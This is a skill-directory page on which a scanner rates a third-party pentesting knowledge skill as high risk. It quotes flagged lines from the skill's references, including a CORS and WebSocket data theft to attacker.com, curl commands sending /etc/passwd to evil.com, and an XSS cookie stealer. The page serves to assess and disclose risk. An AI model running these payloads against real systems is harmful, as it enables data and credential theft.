← All skills
secknowledge-skill
35 / 100 · High risk
Only if you trust the author. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By fb0sh/pentester (GitHub) · security · 24 stars · scanned at commit 97a6d9a
Phase 3/4 depth knowledge pack (third-party) — WooYun/先知/GAARM/OWASP Web+AI references.
Use AFTER framework Skill-gate when needing case/method depth for a known vuln class or AI/MCP surface.
Prefer loading specific references/ files, not replacing PTES phases.
Trigger: Phase 3 vuln analysis depth, Phase 4 exploit depth, AI/LLM/MCP security, CTF web/AI case lookup.
DO NOT use as full engagement orchestrator — follow AGENTS.md phases + pentester-* adapters first.
DO NOT trigger for pure concept …
Works with any agent that supports SKILL.md skills.
What this skill can do
Changes files outside its own folder
The author does not mention this.
Found in 2 places.
Sends data to these websites: kubernetes.default.svc, registry, 169.254.169.254, evil.com, target.com, attacker.com
The author does not mention this. Expected for a security skill.
Found in 16 places.
Show 13 more
- .agents/skills/third-party/secknowledge-skill/references/web-logic-auth.md, line 45
resp = requests.get( - .agents/skills/third-party/secknowledge-skill/references/web-logic-auth.md, line 169
requests.post("/order/create", json={"price":0.01,"productId":"premium"}) - .agents/skills/third-party/secknowledge-skill/references/web-logic-auth.md, line 311
requests.post("/redeem", data={"points":1000, "item":"iPhone"}) - .agents/skills/third-party/secknowledge-skill/references/web-modern-protocols.md, line 22
curl -H "Origin: https://evil.com" -I https://target.com/api/userinfo - .agents/skills/third-party/secknowledge-skill/references/web-modern-protocols.md, line 43
fetch('https://target.com/api/userinfo', {credentials: 'include'}) - .agents/skills/third-party/secknowledge-skill/references/web-modern-protocols.md, line 45
.then(d => fetch('https://attacker.com/steal?data=' + JSON.stringify(d))); - .agents/skills/third-party/secknowledge-skill/references/web-modern-protocols.md, line 51
fetch('https://target.com/api/userinfo',{credentials:'include'}) - .agents/skills/third-party/secknowledge-skill/references/web-modern-protocols.md, line 233
var ws = new WebSocket('wss://target.com/ws'); - .agents/skills/third-party/secknowledge-skill/references/web-modern-protocols.md, line 239
fetch('https://attacker.com/steal?data=' + encodeURIComponent(e.data)); - .agents/skills/third-party/secknowledge-skill/references/web-rce.md, line 45
curl http://`whoami`.xxxxx.ceye.io - .agents/skills/third-party/secknowledge-skill/references/web-rce.md, line 48
curl https://evil.com/?d=`cat /etc/passwd | base64 | tr '\n' '-'` - .agents/skills/third-party/secknowledge-skill/references/web-rce.md, line 49
curl -X POST -d "data=$(cat /etc/passwd)" https://evil.com/c - .agents/skills/third-party/secknowledge-skill/references/web-xss.md, line 147
<script>fetch('https://evil.com/c?='+document.cookie)</script>
Runs commands on your computer
The author does not mention this. Expected for a security skill.
Found in 3 places.
Contains code that is hidden or hard to read
The author does not mention this.
Found in 1 place.
Reads your saved credentials, such as SSH keys or .env files
The author does not mention this.
Found in 1 place.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'secknowledge-skill' ] || [ -L ~/.agents/skills/'secknowledge-skill' ]; then echo 'A skill folder named secknowledge-skill already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/fb0sh/pentester' "$d" && git -C "$d" checkout --quiet '97a6d9a6d574a746c3d53d6150440074035a3b0a' -- '.agents/skills/third-party/secknowledge-skill' && mkdir -p ~/.agents/skills && cp -R "$d"/'.agents/skills/third-party/secknowledge-skill' ~/.agents/skills/'secknowledge-skill' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'secknowledge-skill' ~/.claude/skills/'secknowledge-skill' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for fb0sh/pentester shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/fb0sh/pentester/)
Score history
| Date | Version | Score |
|---|
| 2026-11-11 | 97a6d9a | 35 |